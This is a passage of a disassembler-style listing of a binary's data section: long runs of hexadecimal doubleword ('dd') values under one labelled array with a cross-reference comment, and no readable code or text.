		dd 61FBE8B6h, 0E3BB1058h, 19688C9Bh, 0C00428E2h, 0B4503908h
		dd 0CC338E5Fh, 7CC4303Dh, 78B76190h, 9840A819h,	3B20CA30h
		dd 30337C7Ch, 0B940FC59h, 10C61E29h, 49389375h,	81C0ACB0h
		dd 18FF0F55h, 582A3490h, 7D03DC7Eh, 862FB077h, 0E54801CCh
		dd 0BEFB174Eh, 0FA8BA88h, 0EA5B2D02h, 0E594848Ah, 33A442D4h
		dd 0D8F9A88Bh, 207B175Bh, 465018D2h, 0E262799Ch, 4ED8B928h
		dd 467A3F7Ch, 8064BF24h, 48272478h, 0D0600B50h,	0BEA5FD08h
		dd 8F248EFh, 0DAB0CC48h, 4620597Ah, 0D39807D4h,	89104A97h
		dd 50F0002Ah, 0AF088EA0h, 1745CA8Ah, 4F08049Bh,	0DB74809Eh
		dd 4901A30Ch, 54285DFBh, 0B060F68Fh, 0C199FA6Eh, 4F6A0318h
		dd 32FC62Fh, 7DB04ACAh,	916624A1h, 49060B64h, 3F54D001h
		dd 20A0D18Dh, 0D9060FC0h, 1CAE8E9Dh, 970E3820h,	0D8AF017Ch
		dd 0B970181Eh, 78488C57h, 928298C1h, 1F2428E0h,	318BE7B8h
		dd 0F80E669Ch, 14D0C34Ah, 790CB8B8h, 2810F02Bh,	0A5C01D50h
		dd 0DDB7E740h, 237C0118h, 24BA2FE6h, 0F8A38850h, 6C4846E2h
		dd 0F4A03A20h, 513CC3A6h, 8F6CB94Fh, 390318Fh, 0D871300Fh
		dd 0B885EBEFh, 0D2F03C9Ch, 69E7007Ch, 0CB63CF54h, 2D288F51h
		dd 1B02F8E5h, 6D597257h, 9E6C41EDh, 0C8BF50BEh,	306808E0h
		dd 94030F50h, 5B2F51BAh, 0DFAFA084h, 8958CC03h,	0A667EF88h
		dd 308CCF80h, 0FD56026Fh, 1EDE0E5Fh, 1A8B4240h,	0DF1690A0h
		dd 0CDEE730Fh, 0D4031D2Eh, 9AFB0335h, 604860B2h, 90B0E7h
		dd 904839DCh, 5016BB0Eh, 1A772603h, 1D8A78B0h, 8769D448h
		dd 81F5F36Eh, 8C956BCEh, 48B56F38h, 0B42D4879h,	20A05C4Ch
		dd 55EE3815h, 0D81E20B0h, 264316h, 0B9725401h, 982031D2h
		dd 0F0876EC4h, 0F4031609h, 10AAAAF4h, 8C019CC5h, 0D01F3934h
		dd 24F85820h, 1854106Ah, 2D994869h, 8CA54C9Ah, 0B06431Eh
		dd 38C888h, 3A67EA18h, 3321B3Bh, 0C3F77B18h, 984B79C0h
		dd 0EC645098h, 8CB9580Fh, 4BE8B016h, 0C48077ECh, 566E952Fh
		dd 18060F37h, 6F004069h, 4838B8DBh, 37A0B4AEh, 9C2069DFh
		dd 1D3874C9h, 563048FFh, 10800F7h, 0FD0E8D10h, 261C3F5Ch
		dd 9B04B85Eh, 90C04B2Eh, 5177955h, 754EAAD0h, 0F37060CEh
		dd 8F032484h, 0D08B2C5Eh, 187CA895h, 0ABE02E44h, 0C4F103BCh
		dd 0D8D8299Bh, 2D740ABBh, 0D644FB00h, 0B14F5BD7h, 307B00E0h
		dd 9CBBB99Dh, 9B1DB3B2h, 73C59AEh, 0FBE06EA7h, 5BE34D70h
		dd 0A5DA126Ch, 0F72C80B6h, 920F8004h, 830BC8D7h, 0A0A7E9F6h
		dd 0F030EB36h, 0A28B3E76h, 0BC349603h, 3DDBFBB9h, 0F0BB56E0h
		dd 3C00D978h, 0C3D76DC9h, 0B9A1AAh, 0FF13876Ah,	0B08B299Ah
		dd 0FBC81660h, 3D87FD9h, 0ACC8CC9Bh, 0C1979A3Bh, 877CDFDBh
		dd 0E293BAE8h, 0E0698580h, 0B080619Bh, 0F426133Bh, 246F58D7h
		dd 0ABE86008h, 0EA8287Bh, 59F25BD6h, 9D3BB81h, 4C39E1C5h
		dd 73087948h, 9320A4h, 7C0A8990h, 14A66278h, 333B6416h
		dd 25071B01h, 99809169h, 7BD82A16h, 0AC00D5E6h,	0D61C87DBh
		dd 98EB66FBh, 0B022020Bh, 0F8F29584h, 0FE103E61h, 85E37540h
		dd 0F0778F0h, 9C957A0Dh, 23B90EB0h, 0D7420757h,	0C0EF868Fh
		dd 0A7C6FF3Bh, 54DACB0Ch, 314690B5h, 0B808E2D8h, 861C4CC2h
		dd 0A0442C3Ch, 0C2472032h, 48953Ah, 7FBE7577h, 3E671584h
		dd 4430836Ah, 4CFFE7A1h, 8199F518h, 718D508h, 16CA7583h
		dd 2839705Ah, 171F354Dh, 0F00854A3h, 0BE7C1EE4h, 0CCD69500h
		dd 465DB55Ah, 6DF5810Eh, 0C5079F42h, 47868235h,	7C67EC68h
		dd 48753789h, 5026C320h, 2507CFC7h, 73858383h, 1F7184A7h
		dd 9C63D60Ah, 650DC520h
		dd 80A4055h, 8802A31h, 0D57504B8h, 8CA0FB68h, 35F8111Ah
		dd 66F56E03h, 0A09AC4B5h, 0F80FEE55h, 56DA0315h, 5A84D578h
		dd 0CE421888h, 8C4FA4A1h, 38A1DF49h, 0FC41CC9Ch, 507CA571h
		dd 63A2750Fh, 709AC678h, 5E0C3C18h, 124F350Fh, 0FBC1587h
		dd 9C36B581h, 0BAA88076h, 64E4355Ah, 50C5E84Ch,	78FDA890h
		dd 0B095176Eh, 93BA0053h, 36B62E02h, 1600D878h,	0F55A419Dh
		dd 394C66E9h, 307485B5h, 9548E215h, 0A383BF19h,	9F803FCh
		dd 1359337Dh, 37B81018h, 6D41520h, 0C7554CCDh, 883148B7h
		dd 0DD3E40B2h, 99695301h, 0B940CE10h, 0F846C486h, 0A13C4957h
		dd 200E7BA0h, 0E763B8Dh, 0F3168642h, 2AF60108h,	0B7D577EAh
		dd 0F3020EFh, 0F57AC400h, 162E0174h, 80A664A4h,	60549CC3h
		dd 5DED7F08h
dword_4E414C	dd 0E8E7012Eh, 22754D37h, 26D08084h, 2CC34Bh, 0AB87C6FAh
					; DATA XREF: ___:off_42DE44o
		dd 11555A6Dh, 56712DEAh, 31289348h, 0B9F6107Ah,	50D53420h
		dd 4855E4AFh, 181F940Eh, 5E8B107h, 99D8816Eh, 2FB577F4h
		dd 60C008A9h, 0B22EB0A9h, 27781F65h, 1458C914h,	0A881845h
		dd 18100382h, 4111FD81h, 0D09E317Fh, 840440C7h,	4669A975h
		dd 30999829h, 4B3AB380h, 1FE6D6Bh, 0FAD667C6h, 2074D579h
		dd 53245590h, 0CB0A1CD1h, 6018D4CDh, 74838B51h,	9440334Ch
		dd 283A2A90h, 34B80455h, 40801A19h, 0C0C50B75h,	66E62D08h
		dd 80909B15h, 54CBD524h, 2AC0789h, 80D3361Ch, 7689C0F8h
		dd 280C6395h, 912A875h,	9C043EE5h, 0AC813A33h, 88C0A09h
		dd 0A148176Bh, 4885948h, 0D15E8013h, 0F16F5DC0h, 5FE00009h
		dd 8479FC91h, 593A9471h, 1F531E92h, 4AB41E3Eh, 0AFBC283Ah
		dd 787AF158h, 0F4A7311Fh, 0B39F1107h, 0EB86B181h, 7C90F1F0h
		dd 0D65174A6h, 7D950C38h, 0F37E0D48h, 0FC7A141Fh, 7103F480h
		dd 0D59437h, 68938CD4h,	59B157B7h, 7D106339h, 717A7E07h
		dd 8E9E67AEh, 3490802Eh, 0A836E035h, 0F52F1Ch, 60329BCEh
		dd 0B6780310h, 61516300h, 0B5F1CB27h, 0FA31F0EDh, 201A5704h
		dd 0EB9D90Ah, 237831ABh, 0E0B10266h, 71CB2Dh, 988449A3h
		dd 0ED39789Ah, 7DDD5504h, 6A8059B6h, 46DC9Ch, 7E11A612h
		dd 64D65874h, 7D537674h, 0D09D0318h, 0C868795Ch, 12DC8612h
		dd 198718Dh, 0B51876E3h, 0EC1848C9h, 38BBEA0Ch,	3FE660E7h
		dd 98186148h, 53F8683Bh, 0B8BD1901h, 787667FAh,	0A52098D6h
		dd 2CAC3AA0h, 7726C6C0h, 7614C35Dh, 7848CE4Ch, 0C5E5282h
		dd 0B4662612h, 0B802B068h, 0DA78D92h, 2930B81Bh, 91C50023h
		dd 6125237h, 0BD52D4A9h, 0AE8AC094h, 0C632A7CEh, 0B8BD6628h
		dd 2D0A288Eh, 907EDC85h, 522B75A8h, 5D81148Ch, 8AC34E3Dh
		dd 0B132A600h, 0A9F88C3Bh, 74C384B9h, 0E4119B06h, 62A58602h
		dd 830FD09Ch, 0AAA02749h, 0C414B84Bh, 42A7C024h, 0C0317BEFh
		dd 22A9C6C8h, 9623D876h, 71FC0104h, 85525AE1h, 0DE52648h
		dd 28068C03h, 6A7EA774h, 0CD589476h, 486116AEh,	6AF0F9Eh
		dd 0F876FDA0h, 0D8C7B11Fh, 0B8875319h, 0A0742953h, 1873E596h
		dd 284DA2F8h, 0D8A06733h, 60DD16A6h, 6EA06958h,	58200E88h
		dd 3C959490h, 0C8D113C0h, 6051CAF5h, 0A808F7D0h, 7FB4AB8h
		dd 8173D825h, 0D90BEB7Dh, 0CD94DCB5h, 8153D30h,	1924C67h
		dd 1B23EDADh, 0D32D35F8h, 7621F005h, 90709538h,	30A2586Ah
		dd 46E89F1Ah, 8CA0753Fh, 0A8A7B744h, 46CD400Fh,	19A0C93Dh
		dd 0F0F958A6h, 4C38A931h, 0DA2395C0h, 7BF8A8D9h, 7C744868h
		dd 0CEC8DCB3h, 61507B12h, 5B6071F8h, 0F8C2F924h, 0E3D51C26h
		dd 44FD43BBh, 67F87CFFh, 0E700E0A8h, 2E8C94CBh,	60263FDEh
		dd 4706082Fh, 7B1D1439h, 9B073680h, 0DB825CE2h,	3A2498D6h
		dd 0D791028h, 0F6EC0092h, 2DE63FBFh, 3B140C38h,	0B096DBD2h
		dd 1B012078h, 0A6F88DF4h, 2448EFBEh, 1C3E0055h,	9431EB0Eh
		dd 800A20CCh, 38D7C63Fh, 2BAC6160h, 6AE802E5h, 808A2C77h
		dd 90B0DD02h, 18D1E214h, 50EC4E83h, 94EF550Ch, 0C03CBDD8h
		dd 0B57D362Eh, 0D46C8181h, 50AE3FF7h, 0D3032504h, 4C01E179h
		dd 4B3FB258h, 871877ACh, 0AC515F42h, 41212B6Bh,	8C939C64h
		dd 8CA1D5C2h, 5085AAB0h, 0CD21750Fh, 6BCC294Dh,	86F80AD4h
		dd 3BB0501Ah, 35BB450h,	6D84720h, 0FBE06D59h, 890C692Ah
		dd 30FD9386h, 540A61Eh,	3E33BE57h, 0CCA40293h, 144739CFh
		dd 8C851F1Ch, 0B8469491h, 50CD93h, 46F3715Ah, 0FB12DACAh
		dd 1F0670ACh, 0A8010CC3h, 0C2D0EA38h, 0F3025061h, 641C8896h
		dd 31F01F45h, 9030CF6Ch, 14C25318h, 8EDF810Eh, 4C01E2A8h
		dd 3B12D413h, 5E039C4Ah, 0EBAFC335h, 5CAC2800h,	9E9B12D7h
		dd 18F8488Bh, 7173C8B1h, 8C59867Ah, 2480C043h, 707C5399h
		dd 0AD0229B9h, 7877CD1Ah, 1845ECh, 846080EAh, 68903236h
		dd 12EEB80Fh, 0B08D0CDBh, 0DC37502Ch, 8C16866h,	0BCFBC020h
		dd 0DE503683h, 92292CFCh, 2F404415h, 2DFB26h, 0A452C81Eh
		dd 23D2C4F2h, 54597F00h, 0BF09304Eh, 0A6B3AC3h,	76268300h
		dd 0D453CB5h, 70035CE8h, 54C3D214h, 6D43A02Ah, 0C21A0E46h
		dd 9AC04851h, 1044274h,	18411600h, 0B57CE00Bh, 86BF03BCh
		dd 0EB064321h, 0FEED03A0h, 8E37DCF8h, 0D70020F8h, 0E4429CC7h
		dd 4A28A817h, 708503F6h, 0E452CF80h, 0E3D211F8h, 8812F032h
		dd 951898A8h, 402573E9h, 0D30644B5h, 0C703D21Ch, 0F013FA71h
		dd 0A4D47583h, 0A9A5041Ch, 5A84555h, 84058124h,	70307023h
		dd 240DF88h, 52C15FDEh,	10981184h, 7714BC3Dh, 26801881h
		dd 0BF05C16Bh, 14316F03h, 0C5D84B63h, 8ACB801Bh, 3CC78C00h
		dd 1CB83942h, 0BC08C235h, 74B83A2Fh, 4E00F340h,	34A67DF5h
		dd 0E051338h, 6F0B3360h, 0F0683A00h, 400E5F3Dh,	0EC8E5D14h
		dd 1B328B7h, 0EB82AE81h, 0E804CFCAh, 970FF6D3h,	8A9F488Ah
		dd 59C0202Bh, 0FFC1C070h, 0FCE55300h, 0C7CB910Ah, 0B6401433h
		dd 4008E895h, 9602F311h, 0E14B8286h, 1A5E3009h,	77B4B700h
		dd 0E7933835h, 0A982BACh, 16FA0E3Ch, 12A837C4h,	97E33D02h
		dd 833CB1CAh, 29F3F0h, 0D33837A1h, 4A97F96Dh, 664F0185h
		dd 62DF8Ch, 141B573h, 4D96EB34h, 4CB6F174h, 0DD1C8C40h
		dd 30B07F61h, 1F4BC313h, 0D4820BD4h, 8DB19434h,	80A66180h
		dd 7999B331h, 0A6F36BD4h, 1E1F3E44h, 0A7AD010h,	94BAAF53h
		dd 0CC9DB10Ah, 6A830Fh,	99C6A1ABh, 834AC2Ah, 0CB650E32h
		dd 0E5E9F385h, 4623C802h, 3838B834h, 3161F7C6h,	9ECAB810h
		dd 0C14AE82h, 0A54FDB36h, 0AE323359h, 0B8CB8881h, 3EEB16B8h
		dd 0ADC491B9h, 80288352h, 95CFEE10h, 0B80D5035h, 0E0D065ECh
		dd 742830CDh, 0A5202C06h, 0B0132010h, 0B58064A5h, 0A4D54742h
		dd 791D8037h, 676A8A17h, 0F6CAB703h, 448AA70Ch,	0C60683CEh
		dd 536100B1h, 0EA8A0E0Fh, 40C4307Fh, 2C141ACBh,	6325D4A0h
		dd 0F3712B60h, 0A5345556h, 0E0678288h, 93204119h, 997E21Fh
		dd 3473A40Ah, 0D8068016h, 0AD6C2543h, 3F330A30h, 0E05C97F7h
		dd 12D5E42Ch, 0B4364728h, 99CE4F03h, 12EA264Ah,	1D493430h
		dd 495D244h, 8EF85BA0h,	12A70290h, 0A0EFD109h, 99DD55C4h
		dd 467802CAh, 137D2B33h, 0E9E30063h, 40C40818h,	0A54187E8h
		dd 0D110E60h, 13997E8Ch, 0A408061h, 989AFBC2h, 0F4164070h
		dd 369C0804h, 90937C4Fh, 98392470h, 4A5B78C0h, 0BF31F9E8h
		dd 74811024h, 0C18668D4h, 6FF02909h, 1975E06Ah,	0BC6DAB28h
		dd 71410D1h, 7929F15Fh,	0AF15608Eh, 0DA071Bh, 2F1AEF4Bh
		dd 0AB2BE6ADh, 1FBF3Fh,	39A919E5h, 2718B4AAh, 90F02322h
		dd 16FCF600h, 30119E32h, 61A0013h, 190BC95Ch, 0B00FCCB8h
		dd 0BEFD7Fh, 78564332h,	2873E3h, 920DCF75h, 0ACB05FEh
		dd 0BE3AE600h, 45733D29h, 13500058h, 0F3E5D278h, 61003541h
		dd 0C6D58B51h, 3866ABD9h, 8C00E327h, 47FC23CFh,	3F039C3Eh
		dd 2EA3BEB5h, 0DB1BB034h, 3A94F802h, 2C0FB371h,	0B7274AD4h
		dd 362B2095h, 4401A1FEh, 0B48FF11Fh, 0E5E423A5h, 0B173D1h
		dd 5A7F143Ah, 8B7A1725h, 9000CF78h, 9A3C677Bh, 9FF55Bh
		dd 0A4DF6C89h, 483741A6h, 9DCE2C00h, 128F77EFh,	5F0E2ACh
		dd 0CA91208Bh, 1EBC0082h, 29C13CB8h, 0AB957D00h, 77A79C0h
		dd 86EC3A9Ah, 0FAEB9C87h
		dd 208E8024h, 8D60B058h, 361FE338h, 7C37C57h, 0AB126878h
		dd 0CFBB10C9h, 0AA0021D9h, 6E17993Ch, 0F49EB071h, 1F3B0070h
		dd 98FB8C1h, 0E9288523h, 0EB00AC7Bh, 770C8D95h,	3537AFh
		dd 4BFF6A55h, 0CC7CFA5Fh, 0BE70FB00h, 919E9FF3h, 1BFFA3Fh
		dd 0CD888A9Bh, 61861E84h, 824ECCBBh, 0F8835E00h, 98460375h
		dd 0F6933FF5h, 0D1C57B80h, 1E2BFD2Fh, 7EED5E03h, 9A51E4C8h
		dd 60A4C292h, 3E68FCh, 2D1F3C4Eh, 8B2FFEFAh, 0D9C0C27Eh
		dd 55B616D5h, 3AF80093h, 1DDF6D25h, 0A001AD40h,	0FFC398B4h
		dd 0CEC47704h, 0C2470026h, 0A2948EFh, 0B10CC719h, 0C87180B8h
		dd 0E30D0066h, 98CF86E9h, 1C86ADC4h, 7AF2B3h, 0F8C7708Dh
		dd 2EFE4A69h, 0DC98C300h, 0F206F188h, 0DFBC0B96h, 0F283BE28h
		dd 79F8EF9Ch, 744892A0h, 1ADD04ABh, 0B080FA45h,	253028h
		dd 8BC44FCAh, 1EA2735Dh, 0FFAA9300h, 9EF3444Ch,	9F160098h
		dd 92856C94h, 5B07B77Fh, 41711AD2h, 0CABF7620h,	0D5C2005Ch
		dd 862FC34h, 0E5047A40h, 4732690Fh, 0B1348Ch, 0AFBDEABCh
		dd 2FB4BAA4h, 7E3C8900h, 0DD83990Bh, 0F02D480Eh, 14946800h
		dd 2E8F7B56h, 0BC518500h, 2517588Dh, 4C0B0088h,	43714B1Eh
		dd 0AC72C0DCh, 2F230400h, 0E6F559EFh, 864C1392h, 2A0600BAh
		dd 448B8028h, 9008375h,	0DEFB38D4h, 8F2005h, 0CADA183Dh
		dd 2DEF3E58h, 0D76A100h, 6551532h, 7F2E243Ch, 0DB51009Ch
		dd 47975C6Fh, 26F0EFFFh, 0E000842Dh, 4437A80Fh,	3CADC1DAh
		dd 710005B9h, 2AF560AFh, 0D238D717h, 0B3D90028h, 0A03D75D1h
		dd 82560E50h, 9160B625h, 0F5AA297Fh, 5F613C00h,	56C07417h
		dd 89E283Ah, 0DC5C13F0h, 8A2C03FCh, 0A1E0C9F8h,	9D007168h
		dd 0B7B5AA14h, 3CF5E911h, 0DF00A60Ah, 0CD20346Fh, 54194AD1h
		dd 5C28D324h, 3F09E0h, 0A3B3571Dh, 0EC1CF2D4h, 844E8900h
		dd 72E7BB26h, 942E029h,	8F6A0B41h, 48FAC700h, 570084B2h
		dd 0F87FD826h, 0E835572h, 3E32FD74h, 0C5152BA0h, 380EB2CCh
		dd 0A0B44CA4h, 647318DBh, 0DF5A00F9h, 993EAA2Bh, 7200AED4h
		dd 0C257A58Ch, 0E0096BDBh, 279BA0B9h, 22EE16B0h, 7A0F009Bh
		dd 71C5D7C3h, 0DD5F8000h, 0F42EB456h, 0E7F20032h, 39E2A738h
		dd 2F0068E6h, 29CEC07Ah, 1D32796Eh, 876637B0h, 114F4C52h
		dd 34AC4626h, 94F2CC68h, 0F5A93700h, 5BFD4463h,	5C410006h
		dd 1CED9B58h, 560D54Eh,	21536EC8h, 7D2E0028h, 7076F82Fh
		dd 8005871h, 54B231F1h,	1FAE42A7h, 0C4C51FC8h, 80DB3CF6h
		dd 3DC0F3B6h, 820FB61Ch, 9B93E800h, 6BE9A7Ch, 81CE48B0h
		dd 0C00C4A9h, 73916946h, 1D1B941Eh, 8E642980h, 6820E348h
		dd 92256B33h, 46A48200h, 0CA4FC4E1h, 58611D70h,	34FC00AEh
		dd 0C54264AAh, 0CBD4B200h, 8E1C99C0h, 0C6EA4Bh,	0AE8210Bh
		dd 0E6387724h, 132F811Ch, 1EF53100h, 0F0A8CDh, 0AF3EA23h
		dd 4275CAAAh, 9B974007h, 4BC2AEF7h, 0BCC640FDh,	63DB4881h
		dd 80FAE600h, 596549EFh, 0E075D7E8h, 72B9C700h,	1B02E715h
		dd 0A8D61DF8h, 29DA4064h, 225D6CA3h, 0E7103200h, 0EE423EECh
		dd 9156001Eh, 9F59BBEh,	0B007295h, 62E949B7h, 7101C05h
		dd 1A00DF6h, 0F3BFA054h, 0FC003EFAh, 0EB805398h, 2F32CAh
		dd 0CC73838Ah, 2BCB025Bh, 8F574D00h, 0BD475522h, 3E3F7280h
		dd 4087B252h, 70FEF670h, 2066E91Ah, 0BC8DF000h,	3FB5E84Ah
		dd 179F0369h, 5C02951h,	4998A5D8h, 0CA113Eh, 0C3859599h
		dd 6DA4B4h, 0B37327E5h,	837B8C42h, 0B6048200h, 0EB911BD7h
		dd 9BE200E4h, 0ED5A3A22h, 8A00A9F0h, 0C6F5B363h, 0AA7D89h
		dd 94654CACh, 0D36CADFBh, 0E0585400h, 0B0B99FD6h, 0C95A0F49h
		dd 0BBC0F257h, 0AFE8A876h, 8133EE03h, 882848F9h, 9F7E7A59h
		dd 0D3002558h, 67F8E72Ch, 7BDC6Dh, 0D66090F6h, 4B23E055h
		dd 92B5B402h, 409C4252h, 2F4780h, 498583CCh, 6C68AA69h
		dd 6FF98A0Eh, 64A0A021h, 0FA4BD3h, 0C5B03EFDh, 599E9AEEh
		dd 5CF52000h, 0E113719h, 714F005Fh, 529B2C87h, 6A5898F1h
		dd 647D0183h, 0F6E457CCh, 73A9130h, 6D72A168h, 1835F097h
		dd 67000EB2h, 8D05ED95h, 30F09FEBh, 42218E7Bh, 47037DAFh
		dd 75FE9565h, 0D636F08Dh, 0D21F0FA7h, 40E06D15h, 2EDEB0A6h
		dd 0C928AA60h, 0FC0E71h, 0E521C805h, 0D04F35C2h, 0C9495667h
		dd 2FDA6690h, 689C6763h, 63030AAh, 0E1039FFFh, 210D7C05h
		dd 3A313071h, 160F9960h, 0CA10BE4h, 64A8A1E4h, 0E11BB580h
		dd 373C1E6h, 0A6EA9CD4h, 4C884099h, 1D027882h, 0F304772Ah
		dd 8DAE4071h, 430A01EAh, 5C73E3FBh, 0D9F8E0F6h,	0C55A3Dh
		dd 4012D6E2h, 1BC3433h,	132A9FEh, 0C814163Dh, 600C697h
		dd 6E1075D6h, 6585A5h, 6F315B8Dh, 69452689h, 2FAD280Fh
		dd 0F6908015h, 38F524F7h, 72803308h, 104035B3h,	0CC008BA2h
		dd 0FC237E75h, 2CFD5Ah,	6DD61F9Ch, 1ED9031Dh, 4683A800h
		dd 0A326FF71h, 9C7001E0h, 1BB68680h, 20B047C6h,	0D8973AEEh
		dd 1C56A000h, 0ABBA6EB2h, 9C303B2Bh, 268C200h, 9D63BFF6h
		dd 0D29C1654h, 1A65A600h, 369BA099h, 3A70CFAh, 6A20B533h
		dd 799EEA0Eh, 0C55E20C4h, 2888C035h, 0FC04399h,	1DEFCEBFh
		dd 51B04B06h, 0EE9C8C00h, 8E9F6560h, 96AD31C3h,	5F954F18h
		dd 859DB004h, 0FEC50F24h, 0BF80E06Eh, 712EE8C0h, 6C12657Bh
		dd 2C427C8Ch, 3E60D51h,	0F83AB51Ch, 4AE50717h, 34CA0440h
		dd 0A5D1E2D8h, 706C614Ch, 0D5508315h, 0F8D3666Dh, 0A7D7Bh
		dd 8299F8C1h, 0B584EF42h, 7E88A218h, 20303818h,	0B4FC43C0h
		dd 0A7742884h, 894F1118h, 3FDC1092h, 1C222085h,	210C2A30h
		dd 0C4061582h, 28497798h, 540C1890h, 0A8AA18C8h, 44066C0Ch
		dd 4E422FBEh, 2860982Ah, 280C02B3h, 0EB24A490h,	742940Ch
		dd 0CA58DA2h, 265444A8h, 984C220Ch, 445BA384h, 0CA97091h
		dd 3C24514Ah, 230C418Bh, 60A848ABh, 0D82A9842h,	19A46718h
		dd 11B0C795h, 0F00D46DFh, 0C0D86B9Bh, 1FD6C418h, 80CE4C7h
		dd 63006A5Fh, 9866B591h, 0D049A6h, 97C63700h, 6F7839F7h
		dd 32EE6500h, 765FFE87h, 0BBEA3D4Ch, 6BB55500h,	0EFFD8047h
		dd 8B2E2004h, 0A4D04B2Dh, 379841FEh, 0A1E8B7CDh, 403D7881h
		dd 0E1E81CB0h, 6FD05260h, 32D57Ah, 47E0B370h, 5611754Ah
		dd 0A8300E18h, 0C3F5CB9h, 981B4D38h, 9F00F6A1h,	33EAF060h
		dd 2E328Dh, 9EE8F5ABh, 0E046506Ah, 0EEDDC71Eh, 0A90CFDC7h
		dd 0C8B1FAB0h, 0FC28298Ch, 8BADE01Ch, 9607D607h, 0D40CB2ECh
		dd 4B8DF70h, 0F79001Bh,	6575530Ah, 0B11FFC15h, 9140B2F8h
		dd 2034AD48h, 0D358C0EDh, 0A944F782h, 0A4003E7Ch, 0E05C98Ah
		dd 0F493F1h, 14B8BC4h, 3DA9DF09h, 0B3E8410Eh, 3EB16058h
		dd 1D8C5639h, 28B95172h, 0C8533014h, 3FD3CE68h,	7A2D44h
		dd 26490C87h, 1B375DACh, 0A1B9670Eh, 0FEAB24F4h, 0E3AEC0AAh
		dd 6500EECFh, 93627A9h,	3C408996h, 91808A7Ch, 5001AA1Eh
		dd 623E4D80h, 7DB50044h, 0CC12D7A8h, 727800DDh,	653384D6h
		dd 3600A34Ah, 9BDC0B41h, 3FBF063Bh, 68806FD7h, 2248E7D4h
		dd 623007ECh, 0ED9818BEh, 2AC8013Ah, 7C355434h,	4096C236h
		dd 5238AB00h, 1283A45Dh, 41ED00BEh, 3A1AEF34h, 3100F282h
		dd 81A2EB26h, 0FABCAC74h, 8ED61E68h, 0F4AD46B5h, 17F2A854h
		dd 829E18C0h, 0F4F9F63Bh, 1266006Fh, 0F106B421h, 0DA2034C0h
		dd 621400F8h, 3DB04758h
		dd 0D5030C63h, 5907D79Eh, 31213EFBh, 18D4A019h,	912C96DFh
		dd 9E3EDF0Fh, 0FA31D2D8h, 841882FCh, 0EF0CE583h, 910FD24Eh
		dd 16BF283Dh, 7C590699h, 187636D5h, 2E74C701h, 7E994C5Bh
		dd 281EBC40h, 97423EE5h, 8AC93E80h, 815FC541h, 802D2739h
		dd 89A80875h, 0F8C26838h, 0E10E34C1h, 4E881F80h, 6343361Eh
		dd 50197C58h, 66F145CCh, 7465D4h, 3FE44408h, 80492D0Bh
		dd 35C0AD00h, 4B7F7B6Fh, 6A8903B1h, 0E5AA3C26h,	0BFBB393Eh
		dd 0B85600F2h, 0B5F7CDE6h, 61AA0926h, 10007546h, 0FECEA283h
		dd 782F7A00h, 320A5E35h, 6E783B5h, 8E18F0B8h, 0BAA0A050h
		dd 0F0B91CC8h, 617440A5h, 0CBBD0EF5h, 49D35F01h, 0AD4CCD99h
		dd 0AC68FCh, 3E13D02Eh,	37BFA861h, 0D6FA9300h, 6329F5DFh
		dd 0E9786714h, 5E81C8C5h, 0F1D1D582h, 1172305Ch, 0C5C4BEA1h
		dd 0E803C922h, 4079DE3Ah, 5A8850h, 0BDAA5968h, 8B1E74C4h
		dd 28A21700h, 0E6760F1Bh, 7D7A019Fh, 6562474Ah,	0E5388367h
		dd 0B7401C0Ah, 2C03D3C0h, 18DD7C91h, 70A746B1h,	0BC3C1072h
		dd 2ADE00C8h, 0D9A151ABh, 49122A01h, 0BE2928E4h, 509E60ACh
		dd 0E3960897h, 14BCCD3Bh, 74A03FA1h, 14092824h,	382C6180h
		dd 3B45CE1h, 7F5E12E3h,	4689CFE9h, 0B2D09D1Ah, 7D635F40h
		dd 75D5CC0Dh, 58710CC7h, 0F66873FAh, 0A61ABD18h, 490C29A0h
		dd 0C400C4ABh, 0D0276BBBh, 8C90548Fh, 449850ACh, 2F98CC75h
		dd 0E3017618h, 7591719h, 0C20B7E51h, 0E2A8F02Ah, 0E403614Eh
		dd 46C9FCD1h, 48F9F2FBh, 3035D0h, 77B0567Ah, 1FD53852h
		dd 0B1E5BB00h, 60D0DFC6h, 4E9700EAh, 4FDC8054h,	0C207082Ch
		dd 11A75571h, 9F0DF4F0h, 312F7BD0h, 0F30CE6Ah, 0D73980F6h
		dd 10321D2h, 57FB03C1h,	845A0E9Eh, 0E892AAF1h, 72006729h
		dd 85D6F256h, 0E62F5F08h, 1EA1F1Fh, 0F4EDC04Ah,	1BD09659h
		dd 0B3B07218h, 7CD5780h, 7D931A2h, 705C57C1h, 0D8602440h
		dd 973B7319h, 86088A30h, 0EA513600h, 87B2F249h,	399830F8h
		dd 4C85DF29h, 90F003F7h, 0C4776DCh, 7AACC127h, 0A4009FD1h
		dd 0A769F148h, 284F99h,	0F9753B83h, 0B4B9A3FEh,	86D99218h
		dd 236A1111h, 0E9841891h, 74208738h, 5880DA76h,	3902EE69h
		dd 0DC8747CCh, 0D061B8D3h, 5EF8496Bh, 4FEB3303h, 0A09307B0h
		dd 1D6E7502h, 4B12CE67h, 7180C325h, 339FC9Eh, 7B656674h
		dd 443FE38h, 0D86873DEh, 0DEFDBB6Ch, 0A8DB4018h, 0D82D18B8h
		dd 0CC19570Fh, 0A180C02Ah, 3063E79Eh, 59407985h, 361E95F0h
		dd 7D14D024h, 0B5AE00C8h, 3706D91Fh, 3ED43A66h,	98EA1D80h
		dd 60B11EAAh, 1ACC620Eh, 4474C8h, 616EEC6Ch, 0ED721CDh
		dd 3580D437h, 46A28820h, 0DD5492CEh, 57074A98h,	7408D3C2h
		dd 29561E80h, 27E107F0h, 0C63D11D7h, 7B0E2860h,	0A1EFAF18h
		dd 36DB13C7h, 505005C7h, 805BE784h, 0F84AA09Eh,	11EA4330h
		dd 1C3A4B2Ch, 854E53DAh, 211C410Bh, 954FB030h, 4883B1h
		dd 0CB29C7A1h, 1C3C70C6h, 20019EA4h, 26617D3Eh,	0E738838Ch
		dd 7910EF38h, 2F66624h,	620C153Bh, 84A0FB88h, 0A69CB871h
		dd 3189D98h, 6A1887F8h,	0D2573C13h, 0D016B280h,	0CF76E336h
		dd 0D3173800h, 0B926E043h, 0F9730A3Dh, 80ECC133h, 0AC7921CFh
		dd 27003B22h, 7742F308h, 0BE5D1h, 946C4323h, 72E62B57h
		dd 0E81F75Ch, 0DF15DEA6h, 9E13AC40h, 0DAD552h, 0D0A7516Bh
		dd 0B32AED19h, 28A5A030h, 6F61BB48h, 42A0D99Bh,	0A446767Fh
		dd 2C23B800h, 0FBDF7B0Dh, 0B84C7454h, 214A09AFh, 8C283A73h
		dd 513B00C2h, 0B85FFBE5h, 0FD7A1007h, 947D929h,	71C9D266h
